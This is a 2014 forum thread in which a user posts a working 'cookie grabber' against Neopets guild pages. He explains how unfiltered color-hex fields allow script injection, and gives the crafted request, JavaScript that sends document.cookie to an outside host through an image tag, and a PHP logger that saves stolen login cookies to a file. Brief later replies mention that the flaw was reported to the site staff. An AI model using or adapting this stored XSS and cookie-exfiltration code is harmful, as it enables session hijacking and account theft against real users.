PDA

View Full Version : [JS] Working onsite CGer



Josh
03-22-2014, 02:39 AM
TNT PATCH THIS ALREADY. Im tired of it existing

I will not explain how to use this. Figure it out yourself. I will explain how it works.

Really, this is just me proving CGers can still exist, though they are extremely hard to make at this point. And kinda pointless, since messing with active accounts never works out

Explained:

TNT doesnt censor the color hex codes for guild layouts. But the problem is, the space is limited, so we have to use multiple of the color hex codes for it to work. Problem with this is, it means the javascript is broken up, which in return will mess up the HTML of the page. They way we fix this is by adding something to the page that we can later replace to fix the code.


guild_desc=ellomeepsmeeps

We originally make the guild description "ellomeepsmeeps", and later replace meepsmeeps with tags to close out the script. Same has to be done in the welcome message


var cg = meep.replace("meepsmeeps", "\"></script> Description here");
var cg = cg.replace("meepsmeeps", "\"></script> " + layout + cger);



Actual code:

Guild layout thingy:


action=process_prefs&guild_hood=Battle+Dome&guild_name=avatars+are+awesome&guild_desc=ellomeepsmeeps&guild_welcome=" src="[Only registered and activated users can see links]"meepsmeeps&guild_status=yes&presets=&guild_bgcolor=&custom_bg=%23FFFFFF&guild_header_text=&custom_htext=%23000000&guild_text=&custom_mtext=#000000"><script a=&guild_link=&custom_link=%23000000&guild_mainborder=&custom_mborder=%23FFFFFF </script>&guild_secborder=&custom_sborder=%23FFFFFF


PHP:

<?

function getbetween($content, $start, $end)
{
$r = explode($start, $content);

if (isset($r[1]))
{
$r = explode($end, $r[1]);
return $r[0];
}

return '';
}


$item = $_GET['meeps'];
$myFile = "mycookiesnotyoursasshole.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$neologin = getbetween($item, "neologin=", ";");

$stringData = $neologin . "\n\n\n";
fwrite($fh, $stringData);

fclose($fh);
?>


js:



var layout = "<style \/>\r\n\r\nbody{background: #FFFFFF url(\'[Only registered and activated users can see links]')}\r\nbody, td, p, font{font:8pt Georgia;color: #000000;}\r\n#main a{font:8pt Georgia;color:#2E5D4A;font-weight:bold;text-decoration:none}\r\n#main a:hover{color:#077173;}\r\n#main b{color:#1D6887}\r\n#main u{color:#077173}\r\n#main i{color:#0ABEBC}\r\n#content {width:1020px}\r\nh1{border-bottom:1px dotted #14B8C0; margin-bottom:2px;text-align:center;}\r\n#ht{color:#095357; font-size:14pt; font-family:georgia; text-transform:uppercase; text-align:center;}\r\nul{padding-left:40px}\r\n#header, #footer, .sidebar {display:none;width:100px}\r\n#n, td, table { background: transparent; }\r\n#ban {display:none;}\r\n#main {margin-top:0px; margin-left:0px;}\r\n#main {border:none; background:none; width:500px; float:left; padding-top:0px; padding-left:0px;}\r\n.content {background:none;}\r\n<\/style \/>\r\n\r\n<div style=\"position:absolute;top:0px;left:0px;width:165px;hei ght:84px;\">\r\n<img src=\"[Only registered and activated users can see links]" id=\"pic1\" width=\"165\" height=\"84\">\r\n<div style=\"position:absolute;top:0px;left:165px;width:603px;h eight:441px;\">\r\n<img src=\"[Only registered and activated users can see links]" id=\"pic2\" width=\"603\" height=\"441\">\r\n<\/div>\r\n\r\n<div style=\"z-index:2;position:absolute;top:440px;left:661px;wid th:105px;text-align:center;\">\r\n<h1><font id=\"ht\">Links<\/font><\/h1>\r\n<a href=\"[Only registered and activated users can see links]">My Account<\/a><br>\r\n<a href=\"[Only registered and activated users can see links]">Customise<\/a><br>\r\n<a href=\"[Only registered and activated users can see links]">Games<\/a><br>\r\n<a href=\"[Only registered and activated users can see links]">Explore<\/a><br>\r\n<a href=\"[Only registered and activated users can see links]">News<\/a><br>\r\n<a href=\"[Only registered and activated users can see links]">Community<\/a><br>\r\n<a href=\"[Only registered and activated users can see links]">Shops<\/a><br>\r\n<a href=\"[Only registered and activated users can see links]">NC Mall<\/a><br><a href=\"[Only registered and activated users can see links]">Premium<\/a><br><a href=\"[Only registered and activated users can see links]">SunnyNeo<\/a><br>\r\n<br>\r\n\r\n<\/div>\r\n<div style=\"z-index:2;position:absolute;top:440px;left:166px;wid th:490px;\">\r\n<h1><font id=\"ht\">Welcome to the Guild!<\/font><\/h1>\r\nNew guild. Working on getting things together. :P\r\n<h1><font id=\"ht\">News and Updates<\/font><\/h1>\r\nNews and updates here\r\n<h1><font id=\"ht\">Council Chat<\/font><\/h1>\r\nCouncil Chat here<\/div>"
var cger = "<img src=[Only registered and activated users can see links]" + escape(document.cookie) + ">"

var meep = document.body.innerHTML;
var cg = meep.replace("meepsmeeps", "\"></script> Description here");
var cg = cg.replace("meepsmeeps", "\"></script> " + layout + cger);

var cg = cg.replace("<=\"\" font=\"\">", "");

document.body.innerHTML = cg;

Josh
03-29-2014, 02:29 PM
A solution for your issue has been suggested.

Hey - thanks. We're looking into this now.

-Tony

Tony P., The Neopets Team

Most likely either already patched, or will be patched soon

Naked Gamer
03-29-2014, 03:01 PM
Most likely either already patched, or will be patched soon

Tony P just came in his pants no doubt for the help


Sent from my iPhone using Tapatalk